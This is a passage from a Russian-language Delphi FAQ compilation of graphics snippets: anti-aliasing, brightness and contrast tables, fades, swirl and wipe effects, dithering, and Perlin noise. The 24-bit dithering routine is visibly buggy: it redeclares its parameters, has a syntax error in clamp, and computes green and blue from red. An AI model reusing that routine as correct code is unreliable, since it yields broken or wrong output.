  bm.Canvas.Ellipse(x1, y1, x2, y2);
  x1 := Round(bm.Width * 0.75);
  x2 := Round(bm.Width * 0.6);
  bm.Canvas.Ellipse(x1, y1, x2, y2);

  // Draw the pupils.
  bm.Canvas.Brush.Color := clBlack;
  bm.Canvas.Refresh;
  x1 := Round(bm.Width * 0.275);
  y1 := Round(bm.Height * 0.3);
  x2 := Round(bm.Width * 0.375);
  y2 := Round(bm.Height * 0.4);
  bm.Canvas.Ellipse(x1, y1, x2, y2);
  x1 := Round(bm.Width * 0.725);
  x2 := Round(bm.Width * 0.625);
  bm.Canvas.Ellipse(x1, y1, x2, y2);

  // Draw the nose.
  bm.Canvas.Brush.Color := clAqua;
  x1 := Round(bm.Width * 0.425);
  y1 := Round(bm.Height * 0.425);
  x2 := Round(bm.Width * 0.575);
  y2 := Round(bm.Height * 0.6);
  bm.Canvas.Ellipse(x1, y1, x2, y2);

  // Draw a crooked smile.
  x1 := Round(bm.Width * 0.25);
  y1 := Round(bm.Height * 0.25);
  x2 := Round(bm.Width * 0.75);
  y2 := Round(bm.Height * 0.75);
  x3 := Round(bm.Width * 0.4);
  y3 := Round(bm.Height * 0.6);
  x4 := Round(bm.Width * 0.8);
  y4 := Round(bm.Height * 0.6);
  bm.Canvas.Arc(x1, y1, x2, y2, x3, y3, x4, y4);

  bm.Canvas.Brush.Color := old_color;
  bm.Canvas.Pen.Width := old_width;
//  if pen_width = 6 then Image1.Picture.Assign(bm);
end;

{***************************************************************
 TAntiAliasForm.FormDestroy
   15/08/2000

   We must free the memory bitmaps before exiting
***************************************************************}
procedure TAntiAliasForm.FormDestroy(Sender: TObject);
begin
  orig_bmp.Free;
  big_bmp.Free;
  out_bmp.Free;
end;

{***************************************************************
 TAntiAliasForm.Button1Click
   15/08/2000
***************************************************************}
procedure TAntiAliasForm.ProcessBtnClick(Sender: TObject);
var IniTime, ElapsedTime: DWord;
begin
  // Display the hourglass cursor.
  Screen.Cursor := crHourGlass;

  // Erase the time elapsed label
  Label4.Caption := '';
  Label4.Refresh;

  // Erase the result PaintBox.
  out_bmp.Canvas.Brush.color := clWhite;
  out_bmp.Canvas.FillRect(out_bmp.Canvas.ClipRect);
  // Force repaint of outbox
  OutBox.Refresh;

  // Draw the supersampled image
  DrawBigBmp;

  // Create the anti-aliased version.
  if Method.ItemIndex = 0 then
  begin
    IniTime := GetTickCount;
    AntiAliasPicture;
    ElapsedTime := GetTickCount - IniTime;
  end else begin
    IniTime := GetTickCount;
    FastAntiAliasPicture;
    ElapsedTime := GetTickCount - IniTime;
  end;

  // Force repaint of output PaintBox
  OutBox.Invalidate;

  // Just to display calculation time
  Label4.Caption := IntToStr(ElapsedTime) + ' ms';
  Label4.Refresh;

  // Force repaint of outbox
  OutBox.Invalidate;

  // Remove the hourglass cursor.
  Screen.Cursor := crDefault;
end;

{***************************************************************
 TAntiAliasForm.DrawBigBmp
   15/08/2000
***************************************************************}
procedure TAntiAliasForm.DrawBigBmp;
begin
  // Draw the supersampled image
  DrawFace(big_bmp, 6);
end;

{***************************************************************
 TAntiAliasForm.FormCreate
   15/08/2000
***************************************************************}
procedure TAntiAliasForm.FormCreate(Sender: TObject);
begin
  // Create the necessary memory bitmaps.
  orig_bmp := TBitmap.Create;
  orig_bmp.Width := OrigBox.ClientWidth;
  orig_bmp.Height := OrigBox.ClientHeight;
  // Bitmap MUST be 24 bits to get ScanLine[] to work
  orig_bmp.PixelFormat := pf24bit;

  // Initialize original bitmap
  DrawFace(Orig_bmp, 2);

  // Create supersampled bitmap
  big_bmp := TBitmap.Create;
  big_bmp.Width := orig_bmp.Width * 3;
  big_bmp.Height := orig_bmp.Height * 3;
  big_bmp.PixelFormat := pf24bit;

  // Create output bitmap
  out_bmp := TBitmap.Create;
  out_bmp.Width := orig_bmp.Width;
  out_bmp.Height := orig_bmp.Height;
  out_bmp.PixelFormat := pf24bit;

  // Make sure the 'Example' page is visible on startup
  PageControl1.ActivePage := TabSheet1;

  // Initialize Scroll Bars
  OrigHScrollBar.Min := 0;
  OrigHScrollBar.Max := OrigBox.Width - (OrigBox.Width div 5);
  OrigHScrollBar.LargeChange := OrigBox.Width div 5;
  OrigVScrollBar.Min := 0;
  OrigVScrollBar.Max := OrigBox.Height - (OrigBox.Height div 5);
  OrigVScrollBar.LargeChange := OrigBox.Height div 5;

  OutHScrollBar.Min := 0;
  OutHScrollBar.Max := OutBox.Width - (OutBox.Width div 5);
  OutHScrollBar.LargeChange := OutBox.Width div 5;
  OutVScrollBar.Min := 0;
  OutVScrollBar.Max := OutBox.Height - (OutBox.Height div 5);
  OutVScrollBar.LargeChange := OutBox.Height div 5;

  // Load text into the 'How it works...' memo
  Memo1.Lines.LoadFromFile('ReadMe.txt');
end;

{***************************************************************
 TAntiAliasForm.ZoomOrigBoxClick
   15/08/2000
***************************************************************}
procedure TAntiAliasForm.ZoomOrigBoxClick(Sender: TObject);
begin
  with TCheckBox(Sender) do
  begin
    OrigHScrollBar.Visible := Checked;
    OrigVScrollBar.Visible := Checked;
  end;
  OrigBox.Invalidate;
end;

{***************************************************************
 TAntiAliasForm.ZoomOutBoxClick
   15/08/2000
***************************************************************}
procedure TAntiAliasForm.ZoomOutBoxClick(Sender: TObject);
begin
  with TCheckBox(Sender) do
  begin
    OutHScrollBar.Visible := Checked;
    OutVScrollBar.Visible := Checked;
  end;
  OutBox.Invalidate;
end;

{***************************************************************
 TAntiAliasForm.Label10Click
   16/08/2000
***************************************************************}
procedure TAntiAliasForm.Label10Click(Sender: TObject);
begin
 ShellExecute(ValidParentForm(Self).Handle, 'open',
              PChar(TLabel(Sender).Caption),
              NIL, NIL, SW_SHOWNORMAL);
end;

{***************************************************************
 TAntiAliasForm.Label12Click
   16/08/2000
***************************************************************}
procedure TAntiAliasForm.Label12Click(Sender: TObject);
begin
 ShellExecute(ValidParentForm(Self).Handle, 'open',
              PChar('mailto:nurenda@wanadoo.es?subject=Fast antialias'),
              NIL, NIL, SW_SHOWNORMAL);
end;

{***************************************************************
 TAntiAliasForm.OrigScrollBarChange
   20/08/2000
***************************************************************}
procedure TAntiAliasForm.OrigScrollBarChange(Sender: TObject);
begin
  OrigBox.Invalidate;
end;

{***************************************************************
 TAntiAliasForm.OutScrollBarChange
   20/08/2000
***************************************************************}
procedure TAntiAliasForm.OutScrollBarChange(Sender: TObject);
begin
  OutBox.Invalidate
end;

end.

***************************************************
Автор Rouse_
Взято из http://forum.sources.ru


Как изменить яркость и контраст?

You must change the RBG values of the pixels. For 1, 4 and 8 bit bitmaps, you must edit the palette. For 15 - 32 bit bitmaps, you must edit the pixel direct. For larger bitmaps you should precalulate a table and set the RGB values from this table.

Red := BCTable[Red];
Green := BCTable[Green];
Blue := BCTable[Blue];

You can find the calculation of the table below. The rest is standard source code, look at EFG's Computer Lab for any solution.

I define the brightness and contrast value between 0..255. Other definitions are possible, change BMax, CMax, BNorm and CNorm.

type
  TBCTable = array[Byte] of Byte;

const
  RGBCount = 256;
  RGBMax = 255;
  RGBHalf = 128;
  RGBMin = 0;
  BMax = 128; { Maximal value brightness 100% - 0% = 0% - - 100% }
  CMax = 128; { Maximal value contrast 100% - 0% = 0% - - 100% }
  BNorm = 128; { Normal value brightness 0% }
  CNorm = 128; { Normal value contrast 0% }

procedure CalcBCTable(var ABCTable: TBCTable; ABrightness, AContrast: Integer);
var
  i, v: Integer;
  BOffset: Integer;
  M, D: Integer;
begin
  Dec(ABrightness, BNorm);
  Dec(AContrast, CNorm);
  { precalculation brightness assistance values }
  BOffset := ((ABrightness) * RGBMax div BMax);
  { precalculation contrast assistance values }
  if AContrast < CMax then
  begin { because Division by 0 on 100% }
    if AContrast <= 0 then
    begin { decrement contrast }
      M := CMax + AContrast;
      D := CMax;
    end
    else
    begin { increment contrast }
      M := CMax;
      D := CMax - AContrast;
    end;
  end
  else
  begin
    M := 0;
    D := 1;
  end;
  for i := RGBMin to RGBMax do
  begin
    { calculate contrast }
    if AContrast < CMax then
    begin
      v := ((i - RGBHalf) * M) div D + RGBHalf;
      { restrict to byte range }
      if v < RGBMin then
        v := RGBMin
      else if v > RGBMax then
        v := RGBMax;
    end
    else
    begin { contrast = 100% }
      if i < RGBHalf then
        v := RGBMin
      else
        v := RGBMax;
    end;
    { calculate brightness }
    Inc(v, BOffset);
    { restrict to byte range }
    if v < RGBMin then
      v := RGBMin
    else if v > RGBMax then
      v := RGBMax;
    ABCTable[i] := v;
  end;
end;

Add a fixed value and clip it to the range. I have used a LUT, which is faster for larger bitmaps. The range of Brightness is -255 (-100%) to 255 (+100%). You can use a 32 or 24 Bit calculation depending on the compiler setting ChangeBrightness24Bit.

procedure ChangeBrightness(Bitmap: TBitmap; Brightness: Integer);
var
  LUT: array[Byte] of Byte;
  v, i: Integer;
{$IFDEF ChangeBrightness24Bit}
  w, h, x, y: Integer;
  LineSize: LongInt;
  pLineStart: PByte;
{$ENDIF}
  p: PByte;
begin
  { create LUT }
  for i := 0 to 255 do
  begin
    v := i + Brightness;
    if v < 0 then
      v := 0
    else if v > 255 then
      v := 255;
    LUT[i] := v;
  end;

{$IFDEF ChangeBrightness24Bit}
  { edit bitmap }
  w := Bitmap.Width;
  h := Bitmap.Height - 1;
  Bitmap.PixelFormat := pf24Bit;
  pLineStart := PByte(Bitmap.ScanLine[h]);
  { pixel line is aligned to 32 Bit }
  LineSize := ((w * 3 + 3) div 4) * 4;
  w := w * 3 - 1;
  for y := 0 to h do
  begin
    p := pLineStart;
    for x := 0 to w do
    begin
      p^ := LUT[p^];
      Inc(p);
    end;
    Inc(pLineStart, LineSize);
  end;
{$ELSE}
  { edit bitmap }
  Bitmap.PixelFormat := pf32Bit;
  p := PByte(Bitmap.ScanLine[Bitmap.Height - 1]);
  for i := 0 to Bitmap.Width * Bitmap.Height - 1 do
  begin
    p^ := LUT[p^];
    Inc(p);
    p^ := LUT[p^];
    Inc(p);
    p^ := LUT[p^];
    Inc(p, 2);
  end;
{$ENDIF}
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как работать с fade для TImage?

type
  PRGBTripleArray = ^TRGBTripleArray;
  TRGBTripleArray = array[0..32767] of TRGBTriple;

  /////////////////////////////////////////////////
  //                  Fade In                    //
  /////////////////////////////////////////////////

procedure FadeIn(ImageFileName: TFileName);
var
  Bitmap, BaseBitmap: TBitmap;
  Row, BaseRow: PRGBTripleArray;
  x, y, step: integer;
begin
  // Bitmaps vorbereiten / Preparing the Bitmap //
  Bitmap := TBitmap.Create;
  try
    Bitmap.PixelFormat := pf32bit;  // oder pf24bit / or pf24bit //
    Bitmap.LoadFromFile(ImageFileName);
    BaseBitmap := TBitmap.Create;
    try
      BaseBitmap.PixelFormat := pf32bit;
      BaseBitmap.Assign(Bitmap);
      // Fading //
      for step := 0 to 32 do
      begin
        for y := 0 to (Bitmap.Height - 1) do
        begin
          BaseRow := BaseBitmap.Scanline[y];
          // Farben vom Endbild holen / Getting colors from final image //
          Row := Bitmap.Scanline[y];
          // Farben vom aktuellen Bild / Colors from the image as it is now //
          for x := 0 to (Bitmap.Width - 1) do
          begin
            Row[x].rgbtRed := (step * BaseRow[x].rgbtRed) shr 5;
            Row[x].rgbtGreen := (step * BaseRow[x].rgbtGreen) shr 5; // Fading //
            Row[x].rgbtBlue := (step * BaseRow[x].rgbtBlue) shr 5;
          end;
        end;
        Form1.Canvas.Draw(0, 0, Bitmap);   // neues Bild ausgeben / Output new image //
        InvalidateRect(Form1.Handle, nil, False);
        // Fenster neu zeichnen / Redraw window //
        RedrawWindow(Form1.Handle, nil, 0, RDW_UPDATENOW);
      end;
    finally
      BaseBitmap.Free;
    end;
  finally
    Bitmap.Free;
  end;
end;

/////////////////////////////////////////////////
//                  Fade Out                   //
/////////////////////////////////////////////////

procedure FadeOut(ImageFileName: TFileName);
var
  Bitmap, BaseBitmap: TBitmap;
  Row, BaseRow: PRGBTripleArray;
  x, y, step: integer;
begin
  // Bitmaps vorbereiten / Preparing the Bitmap //
  Bitmap := TBitmap.Create;
  try
    Bitmap.PixelFormat := pf32bit;  // oder pf24bit / or pf24bit //
    Bitmap.LoadFromFile(ImageFileName);
    BaseBitmap := TBitmap.Create;
    try
      BaseBitmap.PixelFormat := pf32bit;
      BaseBitmap.Assign(Bitmap);
      // Fading //
     for step := 32 downto 0 do
      begin
        for y := 0 to (Bitmap.Height - 1) do
        begin
          BaseRow := BaseBitmap.Scanline[y];
          // Farben vom Endbild holen / Getting colors from final image //
          Row := Bitmap.Scanline[y];
          // Farben vom aktuellen Bild / Colors from the image as it is now //
          for x := 0 to (Bitmap.Width - 1) do
          begin
            Row[x].rgbtRed := (step * BaseRow[x].rgbtRed) shr 5;
            Row[x].rgbtGreen := (step * BaseRow[x].rgbtGreen) shr 5; // Fading //
            Row[x].rgbtBlue := (step * BaseRow[x].rgbtBlue) shr 5;
          end;
        end;
        Form1.Canvas.Draw(0, 0, Bitmap);   // neues Bild ausgeben / Output new image //
        InvalidateRect(Form1.Handle, nil, False);
        // Fenster neu zeichnen / Redraw window //
        RedrawWindow(Form1.Handle, nil, 0, RDW_UPDATENOW);
      end;
    finally
      BaseBitmap.Free;
    end;
  finally
    Bitmap.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  FadeIn('C:\TestImage.bmp')
end;

{*****************************}
 {by Yucel Karapinar, ykarapinar@hotmail.com }

{ Only for 24 ve 32 bits bitmaps }

procedure FadeOut(const Bmp: TImage; Pause: Integer);
var
  BytesPorScan, counter, w, h: Integer;
  p: pByteArray;
begin
  if not (Bmp.Picture.Bitmap.PixelFormat in [pf24Bit, pf32Bit]) then
    raise Exception.Create('Error, bitmap format is not supporting.');
  try
    BytesPorScan := Abs(Integer(Bmp.Picture.Bitmap.ScanLine[1]) -
      Integer(Bmp.Picture.Bitmap.ScanLine[0]));
  except
    raise Exception.Create('Error!!');
  end;

  for counter := 1 to 256 do
  begin
    for h := 0 to Bmp.Picture.Bitmap.Height - 1 do
    begin
      P := Bmp.Picture.Bitmap.ScanLine[h];
      for w := 0 to BytesPorScan - 1 do
        if P^[w] > 0 then P^[w] := P^[w] - 1;
    end;
    Sleep(Pause);
    Bmp.Refresh;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  FadeOut(Image1, 1);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сделать Twist / Swirl эффект

{ ... }
try
  try
    begin
      b := TBitmap.Create;
      tBufr := TBitmap.Create;
      CopyMe(b, Image1.Picture.Graphic); {copy image to b}
      Twist(100);
    end;
  finally
    begin
      b.Free;
      tBufr.Free;
    end;
  end;
except
  raise ESomeErrorWarning.Create('Kaboom!');
end;
{ ... }

Hope this is what you were looking for:

{A procedure to copy a graphic to a bitmap}

procedure TForm1.CopyMe(tobmp: TBitmap; frbmp: TGraphic);
begin
  tobmp.PixelFormat := pf24bit;
  tobmp.Width := frbmp.Width;
  tobmp.Height := frbmp.Height;
  tobmp.Canvas.Draw(0, 0, frbmp);
end;

procedure TForm1.Twist(Amount: integer);
var
  fxmid, fymid: Single;
  txmid, tymid: Single;
  fx, fy: Single;
  tx2, ty2: Single;
  r: Single;
  theta: Single;
  ifx, ify: Integer;
  dx, dy: Single;
  K: integer;
  Offset: Single;
  ty, tx: Integer;
  weight_x, weight_y: array[0..1] of Single;
  weight: Single;
  new_red, new_green: Integer;
  new_blue: Integer;
  total_red, total_green: Single;
  total_blue: Single;
  ix, iy: Integer;
  sli, slo: pRGBArray;

  function ArcTan2(xt, yt: Single): Single;
  begin
    if xt = 0 then
      if yt > 0 then
        Result := Pi / 2
      else
        Result := -(Pi / 2)
    else
    begin
      Result := ArcTan(yt / xt);
      if xt < 0 then
        Result := Pi + ArcTan(yt / xt);
    end;
  end;

begin
  Screen.Cursor := crHourGlass;
  CopyMe(tBufr, b);
  K := Amount; {Adjust this for 'amount' of twist}
  Offset := -(Pi / 2);
  dx := b.Width - 1;
  dy := b.Height - 1;
  r := Sqrt(dx * dx + dy * dy);
  tx2 := r;
  ty2 := r;
  txmid := (b.Width - 1) / 2; {Adjust these to move center of rotation}
  tymid := (b.Height - 1) / 2; {Adjust these to move}
  fxmid := (b.Width - 1) / 2;
  fymid := (b.Height - 1) / 2;
  if tx2 >= b.Width then
    tx2 := b.Width - 1;
  if ty2 >= b.Height then
    ty2 := b.Height - 1;
  for ty := 0 to Round(ty2) do
  begin
    for tx := 0 to Round(tx2) do
    begin
      dx := tx - txmid;
      dy := ty - tymid;
      r := Sqrt(dx * dx + dy * dy);
      if r = 0 then
      begin
        fx := 0;
        fy := 0;
      end
      else
      begin
        theta := ArcTan2(dx, dy) - r / K - Offset;
        fx := r * Cos(theta);
        fy := r * Sin(theta);
      end;
      fx := fx + fxmid;
      fy := fy + fymid;
      ify := Trunc(fy);
      ifx := Trunc(fx);
      {Calculate the weights}
      if fy >= 0 then
      begin
        weight_y[1] := fy - ify;
        weight_y[0] := 1 - weight_y[1];
      end
      else
      begin
        weight_y[0] := -(fy - ify);
        weight_y[1] := 1 - weight_y[0];
      end;
      if fx >= 0 then
      begin
        weight_x[1] := fx - ifx;
        weight_x[0] := 1 - weight_x[1];
      end
      else
      begin
        weight_x[0] := -(fx - ifx);
        Weight_x[1] := 1 - weight_x[0];
      end;
      if ifx < 0 then
        ifx := b.Width - 1 - (-ifx mod b.Width)
      else if ifx > b.Width - 1 then
        ifx := ifx mod b.Width;
      if ify < 0 then
        ify := b.Height - 1 - (-ify mod b.Height)
      else if ify > b.Height - 1 then
        ify := ify mod b.Height;
      total_red := 0.0;
      total_green := 0.0;
      total_blue := 0.0;
      for ix := 0 to 1 do
      begin
        for iy := 0 to 1 do
        begin
          if ify + iy < b.Height then
            sli := tBufr.Scanline[ify + iy]
          else
            sli := tBufr.ScanLine[b.Height - ify - iy];
          if ifx + ix < b.Width then
          begin
            new_red := sli[ifx + ix].rgbtRed;
            new_green := sli[ifx + ix].rgbtGreen;
            new_blue := sli[ifx + ix].rgbtBlue;
          end
          else
          begin
            new_red := sli[b.Width - ifx - ix].rgbtRed;
            new_green := sli[b.Width - ifx - ix].rgbtGreen;
            new_blue := sli[b.Width - ifx - ix].rgbtBlue;
          end;
          weight := weight_x[ix] * weight_y[iy];
          total_red := total_red + new_red * weight;
          total_green := total_green + new_green * weight;
          total_blue := total_blue + new_blue * weight;
        end;
      end;
      slo := b.ScanLine[ty];
      slo[tx].rgbtRed := Round(total_red);
      slo[tx].rgbtGreen := Round(total_green);
      slo[tx].rgbtBlue := Round(total_blue);
    end;
  end;
  Image1.Picture.Assign(b);
  Screen.Cursor := crDefault;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как сделать wipe эффект

unit ClockWipe;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls;

type
  TPkt = array[0..361] of TPoint;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Button1: TButton;
    procedure FormPaint(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    procedure ClockWipe(re: TRect; Bmp: TBitmap);
    procedure SetPolygonRegion(Pkt: TPkt; PktCount: Integer; Bmp: TBitmap);
    function GetArcPoint(cPoint: TPoint; radius, winkel: Integer): TPoint;
  public
    { Public Declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  Canvas.Draw(0, 0, Image1.Picture.Bitmap);
  ClockWipe(Image2.Picture.Bitmap.Canvas.ClipRect, Image2.Picture.Bitmap);
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
  Canvas.Draw(0, 0, Image1.Picture.Bitmap);
end;

procedure TForm1.ClockWipe(re: TRect; Bmp: TBitmap);
var
  radius, winkel, cv: Integer;
  cP: TPoint;
  Pkt: TPkt;
begin
  radius := Round(Sqrt(Sqr((re.right - re.left) div 2) + Sqr((re.bottom - re.top) div 2)));
  cP := Point((re.right - re.left) div 2, (re.bottom - re.top) div 2);
  Pkt[0] := cP;
  for winkel := 0 to 360 do
    Pkt[winkel + 1] := GetArcPoint(cP, radius, winkel + 90);
  for cv := 0 to 361 do
    if (cv - 1) / 20 = (cv - 1) div 20 then
    begin
      Sleep(50);
      SetPolygonRegion(Pkt, cv + 1, Image2.Picture.Bitmap);
    end;
end;

procedure TForm1.SetPolygonRegion(Pkt: TPkt; PktCount: Integer; Bmp: TBitmap);
var
  Region: HRGN;
begin
  Region := CreatePolygonRGN(Pkt, PktCount, WINDING);
  if Region <> 0 then
  begin
    SelectClipRgn(Canvas.handle, Region);
    Canvas.Draw(0, 0, Bmp);
    SelectClipRgn(Canvas.handle, 0);
    DeleteObject(Region);
  end;
end;

function TForm1.GetArcPoint(cPoint: TPoint; radius, winkel: Integer): TPoint;
begin
  result.x := Round(cPoint.x + radius * Cos(winkel * 2 * pi / 360));
  result.y := Round(cPoint.y - radius * Sin(winkel * 2 * pi / 360));
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как сделать 24bit dithering?

{ ... }
type
  PIntegerArray = ^TIntegerArray;
  TIntegerArray = array[0..maxInt div sizeof(integer) - 2] of integer;
  TColor3 = packed record
    b, g, r: byte;
  end;
  TColor3Array = array[0..maxInt div sizeof(TColor3) - 2] of TColor3;
  PColor3Array = ^TColor3Array;

procedure Swap(var p1, p2: PIntegerArray);
var
  t: PIntegerArray;
begin
  t := p1;
  p1 := p2;
  p2 := t;
end;

function clamp(x, min, max: integer): integer;
begin
  result := x;
  if result < min then
    result := min;
  else
    if result > max then
      result := max;
end;

procedure Dither(bmpS, bmpD: TBitmap);
var
  bmpS, bmpD: TBitmap;
  scanlS, scanlD: PColor3Array;
  error1R, error1G, error1B,
    error2R, error2G, error2B: PIntegerArray;
  x, y: integer;
  dx: integer;
  c, cD: TColor3;
  sR, sG, sB: integer;
  dR, dG, dB: integer;
  eR, eG, eB: integer;
begin
  bmpD.Width := bmpS.Width;
  bmpD.Height := bmpS.Height;
  bmpS.PixelFormat := pf24bit;
  bmpD.PixelFormat := pf24bit;
  error1R := AllocMem((bmpS.Width + 2) * sizeof(integer));
  error1G := AllocMem((bmpS.Width + 2) * sizeof(integer));
  error1B := AllocMem((bmpS.Width + 2) * sizeof(integer));
  error2R := AllocMem((bmpS.Width + 2) * sizeof(integer));
  error2G := AllocMem((bmpS.Width + 2) * sizeof(integer));
  error2B := AllocMem((bmpS.Width + 2) * sizeof(integer));
  {dx holds the delta for each iteration as we zigzag, it'll change between 1 and -1}
  dx := 1;
  for y := 0 to bmpS.Height - 1 do
  begin
    scanlS := bmpS.ScanLine[y];
    scanlD := bmpD.ScanLine[y];
    if dx > 0 then
      x := 0
    else
      x := bmpS.Width - 1;
    while (x >= 0) and (x < bmpS.Width) do
    begin
      c := scanlS[x];
      sR := c.r;
      sG := c.g;
      sB := c.b;
      eR := error1R[x + 1];
      eG := error1G[x + 1];
      eB := error1B[x + 1];
      dR := (sR * 16 + eR) div 16;
      dG := (sR * 16 + eR) div 16;
      dB := (sR * 16 + eR) div 16;
      {actual downsampling}
      dR := clamp(dR, 0, 255) and (255 shl 4);
      dG := clamp(dR, 0, 255) and (255 shl 4);
      dB := clamp(dR, 0, 255) and (255 shl 4);
      cD.r := dR;
      cD.g := dG;
      cD.b := dB;
      scanlD[x] := cD;
      eR := sR - dR;
      eG := sG - dG;
      eB := sB - dB;
      inc(error1R[x + 1 + dx], (eR * 7)); {next}
      inc(error1G[x + 1 + dx], (eG * 7));
      inc(error1B[x + 1 + dx], (eB * 7));
      inc(error2R[x + 1], (eR * 5)); {top}
      inc(error2G[x + 1], (eG * 5));
      inc(error2B[x + 1], (eB * 5));
      inc(error2R[x + 1 + dx], (eR * 1)); {diag forward}
      inc(error2G[x + 1 + dx], (eG * 1));
      inc(error2B[x + 1 + dx], (eB * 1));
      inc(error2R[x + 1 - dx], (eR * 3)); {diag backward}
      inc(error2G[x + 1 - dx], (eG * 3));
      inc(error2B[x + 1 - dx], (eB * 3));
      inc(x, dx);
    end;
    dx := dx * -1;
    Swap(error1R, error2R);
    Swap(error1G, error2G);
    Swap(error1B, error2B);
    FillChar(error2R^, sizeof(integer) * (bmpS.Width + 2), 0);
    FillChar(error2G^, sizeof(integer) * (bmpS.Width + 2), 0);
    FillChar(error2B^, sizeof(integer) * (bmpS.Width + 2), 0);
  end;
  FreeMem(error1R);
  FreeMem(error1G);
  FreeMem(error1B);
  FreeMem(error2R);
  FreeMem(error2G);
  FreeMem(error2B);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как сделать greyscale dithering?

procedure Greyscale(dib8, dib24: TFastDIB; Colors: Byte);
type
  TDiv3 = array[0..767] of Byte;
  TScale = array[0..255] of Byte;
  TLineErrors = array[-1.. - 1] of DWord;
  PDiv3 = ^TDiv3;
  PScale = ^TScale;
  PLineErrors = ^TLineErrors;
var
  x, y, i, Ln, Nxt: Integer;
  pc: PFColor;
  pb: PByte;
  Lines: array[0..1] of PLineErrors;
  Div3: PDiv3;
  Scale: PScale;
  pti: PDWord;
  dir: ShortInt;
begin
  dib8.FillColors(0, Colors, tfBlack, tfWhite);
  New(Div3);
  pb := Pointer(Div3);
  for i := 0 to 255 do
  begin
    pb^ := i;
    Inc(pb);
    pb^ := i;
    Inc(pb);
    pb^ := i;
    Inc(pb);
  end;
  New(Scale);
  pb := Pointer(Scale);
  x := (Colors shl 16) shr 8;
  y := x;
  for i := 0 to 255 do
  begin
    pb^ := y shr 16;
    Inc(y, x);
    Inc(pb);
  end;
  GetMem(Lines[0], 24 * (dib24.Width + 2));
  GetMem(Lines[1], 24 * (dib24.Width + 2));
  pc := PFColor(dib24.Bits);
  for x := 0 to dib24.Width - 1 do
  begin
    Lines[0, x] := Div3[pc.r + pc.g + pc.b] * 16;
    Inc(pc);
  end;
  pc := Ptr(Integer(pc) + dib24.Gap);
  dir := 1;
  for y := 1 to dib24.Height do
  begin
    Nxt := y mod 2;
    Ln := 1 - Nxt;
    if y < dib24.Height then
    begin
      for x := 0 to dib24.Width - 1 do
      begin
        Lines[Nxt, x] := Div3[pc.r + pc.g + pc.b] * 16;
        Inc(pc);
      end;
      pc := Ptr(Integer(pc) + dib24.Gap);
    end;
    x := 0;
    if dir = -1 then
      x := dib24.Width - 1;
    pti := @Lines[Ln, x];
    pb := @dib8.Pixels8[y - 1, x];
    while ((x > -1) and (x < dib24.Width)) do
    begin
      pti^ := pti^ div 16;
      if pti^ > 255 then
        pti^ := 255
      else if pti^ < 0 then
        pti^ := 0;
      pb^ := Scale[pti^];
      i := pti^ - dib8.Colors[pb^].r;
      if i <> 0 then
      begin
        Inc(Lines[Ln, x + dir], i * 7);
        Inc(Lines[Nxt, x - dir], i * 3);
        Inc(Lines[Nxt, x], i * 5);
        Inc(Lines[Nxt, x + dir], i);
      end;
      Inc(pb, dir);
      Inc(pti, dir);
      Inc(x, dir);
    end;
    Inc(pb, dib8.Gap);
    dir := -dir;
  end;
  Dispose(Lines[0]);
  Dispose(Lines[1]);
  Dispose(Scale);
  Dispose(Div3);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как добавить когерентный шум?

{Coherent noise function over 1, 2 or 3 dimensions by Ken Perlin}

unit perlin;

interface

function noise1(arg: double): double;
function noise2(vec0, vec1: double): double;
function noise3(vec0, vec1, vec2: double): double;
function PNoise1(x, alpha, beta: double; n: integer): double;
function PNoise2(x, y, alpha, beta: double; n: integer): double;
function PNoise3(x, y, z, alpha, beta: double; n: integer): double;

{High Alpha: smoother intensity change, lower contrast
Low Alpha: rapid intensity change, higher contrast
High Beta: coarse, big spots
Low Beta: fine, small spots}

implementation

uses
  SysUtils;

const
  defB = $100;
  defBM = $FF;
  defN = $1000;

var
  start: boolean = true;
  p: array[0..defB + defB + 2 - 1] of integer;
  g3: array[0..defB + defB + 2 - 1, 0..2] of double;
  g2: array[0..defB + defB + 2 - 1, 0..1] of double;
  g1: array[0..defB + defB + 2 - 1] of double;

function s_curve(t: double): double;
begin
  result := t * t * (3.0 - 2.0 * t);
end;

function lerp(t, a, b: double): double;
begin
  result := a + t * (b - a);
end;

procedure setup(veci: double; var b0, b1: integer; var r0, r1: double);
var
  t: double;
begin
  t := veci + defN;
  b0 := trunc(t) and defBM;
  b1 := (b0 + 1) and defBM;
  r0 := t - int(t);
  r1 := r0 - 1.0;
end;

procedure normalize2(var v0, v1: double);
var
  s: double;
begin
  s := sqrt(v0 * v0 + v1 * v1);
  v0 := v0 / s;
  v1 := v1 / s;
end;

procedure normalize3(var v0, v1, v2: double);
var
  s: double;
begin
  s := sqrt(v0 * v0 + v1 * v1 + v2 * v2);
  v0 := v0 / s;
  v1 := v1 / s;
  v2 := v2 / s;
end;

procedure init;
var
  i, j, k: integer;
begin
  for i := 0 to defB - 1 do
  begin
    p[i] := i;
    g1[i] := (random(defB + defB) - defB) / defB;
    for j := 0 to 1 do
      g2[i, j] := (random(defB + defB) - defB) / defB;
    normalize2(g2[i, 0], g2[i, 1]);
    for j := 0 to 2 do
      g3[i, j] := (random(defB + defB) - defB) / defB;
    normalize3(g3[i, 0], g3[i, 1], g3[i, 2]);
  end;
  i := defB;
  while i > 0 do
  begin
    k := p[i];
    j := random(defB);
    p[i] := p[j];
    p[j] := k;
    dec(i);
  end;
  for i := 0 to defB + 1 do
  begin
    p[defB + i] := p[i];
    g1[defB + i] := g1[i];
    for j := 0 to 1 do
      g2[defB + i, j] := g2[i, j];
    for j := 0 to 2 do
      g3[defB + i, j] := g3[i, j];
  end;
end;

function noise1(arg: double): double;
var
  bx0, bx1: integer;
  rx0, rx1, sx, u, v: double;
begin
  if start then
  begin
    init;
    start := false;
  end;
  bx0 := trunc(arg + defN) and defBM;
